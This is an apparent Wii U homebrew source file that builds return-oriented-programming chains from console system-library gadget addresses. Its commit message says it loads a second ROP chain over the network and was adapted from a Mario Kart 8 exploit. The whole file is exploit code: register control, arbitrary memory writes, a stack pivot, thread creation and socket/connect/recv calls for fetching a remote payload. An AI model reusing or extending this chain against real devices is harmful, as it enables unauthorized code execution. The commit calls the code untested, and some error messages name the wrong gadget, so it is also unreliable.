ROBChain/homebrew/ropgadgets.py
Maschell dcf3bf5204 Implement a rop chain which loads another ropchain via the network.
Untested, copy pasted from the mario kart 8 exploit (rop gadgets address are meant to be used on EUR v1.1.7)
2020-03-06 19:51:36 +01:00

377 lines
14 KiB
Python

from ropgadget_addr import *
def setr3r4(r3, r4):
if 'ROP_GX2_r3r4load' not in globals():
raise ValueError('rop gagdet ROP_R3_TO_R7 is missing')
return [ROP_GX2_r3r4load,
r3,
r4,
0x0]
def pop_r24_to_r31(inputregs):
if 'ROP_POP_R24_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_POP_R24_TO_R31 is missing')
curchain = [
ROP_POP_R24_TO_R31,
0,
0]
for i in range(0, 8):
curchain.append(inputregs[i])
curchain.append(0)
return curchain
def call_func(funcaddr, r3=0, r4=0, r5=0, r6=0, r28=0):
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
curchain = []
input_regs = [r6,
r5,
0,
ROP_CALLR28_POP_R28_TO_R31,
funcaddr,
r3,
0,
r4]
curchain += pop_r24_to_r31(input_regs)
curchain.append(ROP_CALLFUNC)
curchain.append(r28)
curchain.append(0)
curchain.append(0)
curchain.append(0)
curchain.append(0)
return curchain
def tiny_call(fptr, r3=0, r4=0):
if 'ROP_POP_R28R29R30R31' not in globals():
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
curchain = []
curchain += setr3r4(r3, r4)
curchain.append(ROP_POP_R28R29R30R31)
curchain.append(fptr)
curchain.append(0)
curchain.append(0)
curchain.append(r4)
curchain.append(0)
curchain.append(ROP_CALLR28_POP_R28_TO_R31)
curchain.append(0)
curchain.append(0)
curchain.append(0)
curchain.append(0)
curchain.append(0)
return curchain
def write_r3r4_tomem(outaddr):
if 'ROP_POP_R28R29R30R31' not in globals():
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
if 'ROP_OSGetCodegenVirtAddrRange' not in globals():
raise ValueError('rop gagdet ROP_OSGetCodegenVirtAddrRange is missing')
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
return [ROP_POP_R28R29R30R31,
ROP_OSGetCodegenVirtAddrRange + 0x20,
0,
outaddr,
0x10000000,
0,
ROP_CALLR28_POP_R28_TO_R31,
0,
0,
0]
def write32(addr, value):
cur_chain = []
cur_chain += setr3r4(value, 0)
cur_chain += write_r3r4_tomem(addr)
return cur_chain
def call_with_dereferenced_r3(addr, arg1_ptr, arg2=0, arg3=0, arg4=0, arg5=0):
cur_chain = []
# set r3 to arg5
cur_chain += setr3r4(arg5, 0)
# move it to r7
if 'ROP_R3_TO_R7' in globals():
cur_chain.append(ROP_R3_TO_R7) # 0x028036ec: mr r7, r3; lwz r0, 0xc(r1) ; mtlr r0; addi r1, r1, 8; mr r3, r7; blr;
cur_chain.append(0x0000DEA2) # ;r1 +8
else:
raise ValueError('rop gagdet ROP_R3_TO_R7 is missing')
# set r3 to arg3
cur_chain += setr3r4(arg4, 0)
if 'ROP_R3_TO_R11' and 'ROP_R11_TO_R6' in globals():
# move it to r11
cur_chain.append(ROP_R3_TO_R11) # 0x029002ac: mr r11, r3; lwz r0, 0xc(r1) ; mtlr r0; addi r1, r1, 8; mr r3, r11; blr;
cur_chain.append(0x0000DEA6) # ;r1 + 8
# then we can move it to r6
cur_chain.append(ROP_R11_TO_R6) # 0x029dd8fc: mr r6, r11; lwz r0, 0x14(r1) ; mtlr r0; addi r1, r1, 0x10; clrlwi r3, r6, 0x18; blr;
cur_chain.append(0x0000DEA7) # ;r1 + 8
cur_chain.append(0x0000DEA8) # ;r1 + 0xC
cur_chain.append(0x0000DEA9) # ;r1 + 0x10
elif 'ROP_R3_TO_R6' in globals():
print('yay')
else:
raise ValueError('rop gagdet is missing')
# set arg3 to r3
cur_chain += setr3r4(arg3, 0)
if 'ROP_R3_TO_R5' in globals():
# move it to r5
cur_chain.append(ROP_R3_TO_R5) # 0x0211cb44 mr r5, r3; lwz r0, 0x14(r1) ; mtlr r0; addi r1, r1, 0x10; mr r3, r5; blr;
cur_chain.append(0x0000DEAA) # ;r1 + 8
cur_chain.append(0x0000DEAB) # ;r1 + 0xC
cur_chain.append(0x0000DEAC) # ;r1 + 0x10
elif 'ROP_R3_TO_R5_POP_R29_R30_R31' in globals():
cur_chain.append(ROP_R3_TO_R5_POP_R29_R30_R31) # 0x3a21bc4: mr r5, r3; lwz r29, 0x34(r1); lwz r0, 0x44(r1); lwz r30, 0x38(r1); mtlr r0; lwz r31, 0x3c(r1); addi r1, r1, 0x40; addi r3, r5, 0x10; blr
cur_chain.append(0x0000DEAA) # ;r1 + 0x08
cur_chain.append(0x0000DEAB) # ;r1 + 0x0C
cur_chain.append(0x0000DEAC) # ;r1 + 0x10
cur_chain.append(0x0000DEAD) # ;r1 + 0x14
cur_chain.append(0x0000DEAE) # ;r1 + 0x18
cur_chain.append(0x0000DEAF) # ;r1 + 0x1C
cur_chain.append(0x0000DEB0) # ;r1 + 0x20
cur_chain.append(0x0000DEB1) # ;r1 + 0x24
cur_chain.append(0x0000DEB2) # ;r1 + 0x28
cur_chain.append(0x0000DEB3) # ;r1 + 0x2C
cur_chain.append(0x0000DEB4) # ;r1 + 0x30
cur_chain.append(0x0000DEB5) # ;r1 + 0x34 // r29
cur_chain.append(0x0000DEB6) # ;r1 + 0x38 // r30
cur_chain.append(0x0000DEB7) # ;r1 + 0x3C // r31
cur_chain.append(0x0000DEB8) # ;r1 + 0x40
else:
raise ValueError('rop gagdet is missing')
cur_chain += call_with_dereferenced_r3_tiny(addr, arg1_ptr, arg2)
return cur_chain
def call_with_dereferenced_r3_tiny(addr, arg1_ptr, arg2=0):
cur_chain = []
# now we can set r3
cur_chain += setr3r4(arg1_ptr, 0)
if 'ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr' not in globals():
raise ValueError('rop gagdet ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr is missing')
cur_chain.append(ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr) # #0x2024858 r3 = *r3 # lwz r3, 0(r3); lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; blr;
cur_chain.append(0x0) # + 8
if 'ROP_POP_R28R29R30R31' not in globals():
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
# set func address to r28, arg2 to r31
cur_chain.append(ROP_POP_R28R29R30R31) # coreinit.rpl 0x020014d4: lwz r28, 8(r1); lwz r29, 0xc(r1); lwz r0, 0x1c(r1); lwz r30, 0x10(r1); mtlr r0; lwz r31, 0x14(r1); addi r1, r1, 0x18; blr;
cur_chain.append(addr) # r28 + 8
cur_chain.append(0) # r29 +0x0C
cur_chain.append(0) # r30+ 0x10
cur_chain.append(arg2) # r31 + 0x14
cur_chain.append(0) # + 0x18
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
# r31 will be moved to r4
cur_chain.append(ROP_CALLR28_POP_R28_TO_R31) # coreinit: 0x02061970: mtctr r28; mr r4, r31; bctrl; lwz r28, 8(r1); lwz r29, 0xc(r1); lwz r0, 0x1c(r1); lwz r31, 0x14(r1); mtlr r0; lwz r30, 0x10(r1); addi r1, r1, 0x18; blr;
cur_chain.append(0) # r28 + 8
cur_chain.append(0) # r29 + 0xC
cur_chain.append(0) # r30 + 0x10
cur_chain.append(0) # r31 + 0x14
cur_chain.append(0) # + 0x18
return cur_chain
def call_ptr(addr_ptr, arg1=0, arg2=0):
if 'ROP_POP_R12' not in globals():
raise ValueError('rop gagdet ROP_POP_R12 is missing')
# overrides r3
# 0x025850c0: lwz r12, 8(r1); addis r3, r12, 0x8000; lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
cur_chain = [ROP_POP_R12,
addr_ptr - 0x2C,
0x0000DEA3,
0x0000DEA4]
# sets r3 and r4. More arguments could be set using the gadget (call_with_dereferenced_r3)
cur_chain += setr3r4(arg1, arg2)
if 'ROP_GX2_call_r12' not in globals():
raise ValueError('rop gagdet ROP_GX2_call_r12 is missing')
cur_chain.append(ROP_GX2_call_r12) # gx2.rpl; 0x0203b19c: lwz r0, 0x2c(r12); mtctr r0; bctrl; lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; blr;
cur_chain.append(0) # 8
return cur_chain
def DCFlushRange(addr, size):
if 'ROP_DCFlushRange' not in globals():
raise ValueError('rop gagdet ROP_DCFlushRange is missing')
return tiny_call(ROP_DCFlushRange, addr, size)
def ICInvalidateRange(addr, size):
if 'ROP_ICInvalidateRange' not in globals():
raise ValueError('rop gagdet ROP_ICInvalidateRange is missing')
return tiny_call(ROP_ICInvalidateRange, addr, size)
def memcpy(dest, src, size):
if 'ROP_memcpy' not in globals():
raise ValueError('rop gagdet ROP_memcpy is missing')
return call_func(ROP_memcpy, dest, src, size)
def OSDriver_Register(name, name_len, unkwn1, unkwn2):
if 'ROP_Register' not in globals():
raise ValueError('rop gagdet ROP_Register is missing')
return call_func(ROP_Register, name, name_len, unkwn1, unkwn2)
def OSDriver_CopyToSaveArea(name, name_len, data, data_len):
if 'ROP_CopyToSaveArea' not in globals():
raise ValueError('rop gagdet ROP_CopyToSaveArea is missing')
return call_func(ROP_CopyToSaveArea, name, name_len, data, data_len)
def OSResumeThread(thread):
if 'ROP_OSResumeThread' not in globals():
raise ValueError('rop gagdet ROP_OSResumeThread is missing')
return tiny_call(ROP_OSResumeThread, thread)
def OSFatal(arg):
if 'ROP_OSFatal' not in globals():
raise ValueError('rop gagdet ROP_OSFatal is missing')
return tiny_call(ROP_OSFatal, arg)
def OSSuspendThread(thread):
if 'ROP_OSSuspendThread' not in globals():
raise ValueError('rop gagdet ROP_OSSuspendThread is missing')
return tiny_call(ROP_OSSuspendThread, thread)
def OSDynLoad_Acquire(name_ptr, handle_ptr):
if 'ROP_OSDynLoad_Acquire' not in globals():
raise ValueError('rop gagdet ROP_OSDynLoad_Acquire is missing')
return tiny_call(ROP_OSDynLoad_Acquire, name_ptr, handle_ptr)
def OSExitThread(resultcode):
if 'ROP_OSExitThread' not in globals():
raise ValueError('rop gagdet ROP_OSExitThread is missing')
return tiny_call(ROP_OSExitThread, resultcode)
def socket(domain, type, protocol):
if 'ROP_socket' not in globals():
raise ValueError('rop gagdet ROP_socket is missing')
return call_func(ROP_socket, domain, type, protocol)
def connect(sockfd, addr, addrlen):
if 'ROP_connect' not in globals():
raise ValueError('rop gagdet ROP_connect is missing')
return call_func(ROP_connect, sockfd, addr, addrlen)
def recv(sockfd, buf, len, flags):
if 'ROP_recv' not in globals():
raise ValueError('rop gagdet ROP_recv is missing')
return call_func(ROP_recv, sockfd, buf, len, flags)
def GX2WaitForVsync():
if 'ROP_GX2WaitForVsync' not in globals():
raise ValueError('rop gagdet ROP_GX2WaitForVsync is missing')
return tiny_call(ROP_GX2WaitForVsync)
def GX2Flush():
if 'ROP_GX2Flush' not in globals():
raise ValueError('rop gagdet ROP_GX2Flush is missing')
return tiny_call(ROP_GX2Flush)
def GX2DrawDone():
if 'ROP_GX2DrawDone' not in globals():
raise ValueError('rop gagdet ROP_GX2DrawDone is missing')
return tiny_call(ROP_GX2DrawDone)
def GX2DirectCallDisplayList(addr, size):
if 'ROP_GX2DirectCallDisplayList' not in globals():
raise ValueError('rop gagdet ROP_GX2DirectCallDisplayList is missing')
return tiny_call(ROP_GX2DirectCallDisplayList, addr, size)
def FindExportAndCall(tmp, rpl_name_addr, function_name_addr, arg1=0, arg2=0):
if 'ROP_OSDynLoad_FindExport' not in globals():
raise ValueError('rop gagdet ROP_OSDynLoad_FindExport is missing')
cur_chain = []
cur_chain += OSDynLoad_Acquire(rpl_name_addr, tmp)
cur_chain += call_with_dereferenced_r3(ROP_OSDynLoad_FindExport, tmp, 0, function_name_addr, tmp + 0x04, 0) # will use the value of (tmp) in r3, not the address!
cur_chain += call_ptr(tmp + 0x04, arg1, arg2)
return cur_chain
def StackPivot(new_stack):
cur_chain = []
# set r3 to arg3
cur_chain += setr3r4(new_stack, 0)
if 'ROP_R3_TO_R11' not in globals():
raise ValueError('rop gagdet ROP_R3_TO_R11 is missing')
if 'ROP_R11_TO_R1' not in globals():
raise ValueError('rop gagdet ROP_R11_TO_R1 is missing')
# move it to r11
cur_chain.append(ROP_R3_TO_R11) # 0x029002ac: mr r11, r3; lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; mr r3, r11; blr;
cur_chain.append(0x0000DEA6) # ;r1 + 8
cur_chain.append(ROP_R11_TO_R1) # 0x02a645b0 ;r1 + 12 # lwz r0, 4(r11); mtlr r0; mr r1, r11; blr;
return cur_chain
def OSCreateThread(thread, entry, argc, argv, stack, stackSize, priority, attributes):
curchain = [];
inputregs = [1, 2, 3, 4, 5, 6, 7, 8]
inputregs[24 - 24] = 0 # #r24
inputregs[25 - 24] = stack # #r25 # r7
inputregs[26 - 24] = stackSize # #r26 # r8
inputregs[27 - 24] = priority # #r27 # r9
inputregs[28 - 24] = thread # #r28 #r3
inputregs[29 - 24] = entry # #r29 #r4
inputregs[30 - 24] = argc ##r30 #r5
inputregs[31 - 24] = argv # #r31 # r6
curchain += pop_r24_to_r31(inputregs)
if 'ROP_CreateThreadInternal' not in globals():
raise ValueError('rop gagdet ROP_CreateThreadInternal is missing')
# 0x020257a8: li r0, 2; lhz r10, 0xc(r1); mr r3, r28; mr r8, r26; stw r0, 8(r1); mr r4, r29; mr r5, r30; mr r6, r31;
# mr r7, r25; mr r9, r27; bl 0x2025548; lmw r25, 0x14(r1); lwz r0, 0x34(r1);mtlr r0; addi r1, r1, 0x30; blr;
curchain.append(ROP_CreateThreadInternal)
curchain.append(2) # param #10 ;r1 +8
curchain.append(attributes << 16) # r10 ;r1 +12 (lhz from this register)
curchain.append(0) # ;r1 +16
curchain.append(0) # r25 ;r1 +20
curchain.append(0) # r26 ;r1 +24
curchain.append(0) # r27 ;r1 +28
curchain.append(0) # r28 ;r1 +32
curchain.append(0) # r29 ;r1 +36
curchain.append(0) # r30 ;r1 +40
curchain.append(0) # r31 ;r1 +44 (0x2C)
curchain.append(0)
return curchain